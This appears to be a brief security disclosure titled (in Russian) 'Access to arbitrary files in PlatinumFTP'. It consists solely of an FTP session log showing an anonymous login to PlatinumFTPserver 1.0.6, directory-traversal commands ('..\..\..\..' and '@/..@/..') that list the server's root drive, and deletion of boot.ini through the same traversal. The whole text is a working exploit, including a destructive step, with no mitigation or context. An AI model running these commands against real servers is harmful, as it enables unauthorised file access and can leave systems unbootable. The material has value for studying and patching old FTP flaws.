Доступ к произвольным файлам в PlatinumFTP

C:\>ftp 192.168.1.199
Connected to 192.168.1.199.
220-PlatinumFTPserver V1.0.6
220-PlatinumFTPserver (C)2002 BYTE/400 LTD
220-
220 Enter login details
User (192.168.1.199:(none)): anonymous
331 Password required for anonymous.
Password:
230-Send comments to support@PlatinumFTP.com
230-Date 12/30/02, Time 1:44:34 PM.
230 Storage available 1,954,179,072 Bytes.
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
226 Listing complete.
ftp> cd ..
550 Access denied
ftp> dir ..\..\..\..200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
-rwxr-xr-x  1 User     Group              0 Dec 23 12:17 AUTOEXEC.BAT
-rwxr-xr-x  1 User     Group            279 Dec 23 12:16 boot.ini
-rwxr-xr-x  1 User     Group              0 Dec 23 12:17 CONFIG.SYS
drwxr-xr-x  1 User     Group              0 Dec 23 12:25 I386
drwxr-xr-x  1 User     Group              0 Dec 23 22:22 Inetpub
drwxr-xr-x  1 User     Group              0 Dec 23 21:49 Installationsfiler til Windows Update
-rwxr-xr-x  1 User     Group              0 Dec 23 12:17 IO.SYS
-rwxr-xr-x  1 User     Group              0 Dec 23 12:17 MSDOS.SYS
drwxr-xr-x  1 User     Group              0 Dec 23 21:25 Multimedia Files
-rwxr-xr-x  1 User     Group          26816 Dec 23 22:30 NTDETECT.COM
-rwxr-xr-x  1 User     Group         156496 Dec 23 22:30 ntldr
drwxr-xr-x  1 User     Group              0 Dec 23 12:36 OptionPack
-rwxr-xr-x  1 User     Group      134217728 Dec 30 13:43 pagefile.sys
drwxr-xr-x  1 User     Group              0 Dec 30 13:23 Program Files
drwxr-xr-x  1 User     Group              0 Dec 23 12:24 RECYCLER
drwxr-xr-x  1 User     Group              0 Dec 30 13:08 TEMP
drwxr-xr-x  1 User     Group              0 Dec 30 13:55 WINNT
226 Listing complete.
ftp: 1181 bytes received in 0,00Seconds 1181000,00Kbytes/sec.
ftp> delete ..\..\..\..\boot.ini
250 delete command successful.
ftp> dir ..\..\..\..200 PORT command successful
150 Opening ASCII mode data connection for /bin/ls.
-rwxr-xr-x  1 User     Group              0 Dec 23 12:17 AUTOEXEC.BAT
-rwxr-xr-x  1 User     Group              0 Dec 23 12:17 CONFIG.SYS
drwxr-xr-x  1 User     Group              0 Dec 23 12:25 I386
drwxr-xr-x  1 User     Group              0 Dec 23 22:22 Inetpub
drwxr-xr-x  1 User     Group              0 Dec 23 21:49 Installationsfiler til Windows Update
-rwxr-xr-x  1 User     Group              0 Dec 23 12:17 IO.SYS
-rwxr-xr-x  1 User     Group              0 Dec 23 12:17 MSDOS.SYS
drwxr-xr-x  1 User     Group              0 Dec 23 21:25 Multimedia Files
-rwxr-xr-x  1 User     Group          26816 Dec 23 22:30 NTDETECT.COM
-rwxr-xr-x  1 User     Group         156496 Dec 23 22:30 ntldr
drwxr-xr-x  1 User     Group              0 Dec 23 12:36 OptionPack
-rwxr-xr-x  1 User     Group      134217728 Dec 30 15:24 pagefile.sys
drwxr-xr-x  1 User     Group              0 Dec 30 15:19 Program Files
drwxr-xr-x  1 User     Group              0 Dec 23 12:24 RECYCLER
drwxr-xr-x  1 User     Group              0 Dec 24 00:08 TEMP
drwxr-xr-x  1 User     Group              0 Dec 30 16:30 WINNT
226 Listing complete.
ftp: 1181 bytes received in 0,12Seconds 9,76Kbytes/sec.
ftp> cd @/..@/..  
ftp> bye
221 Goodbye.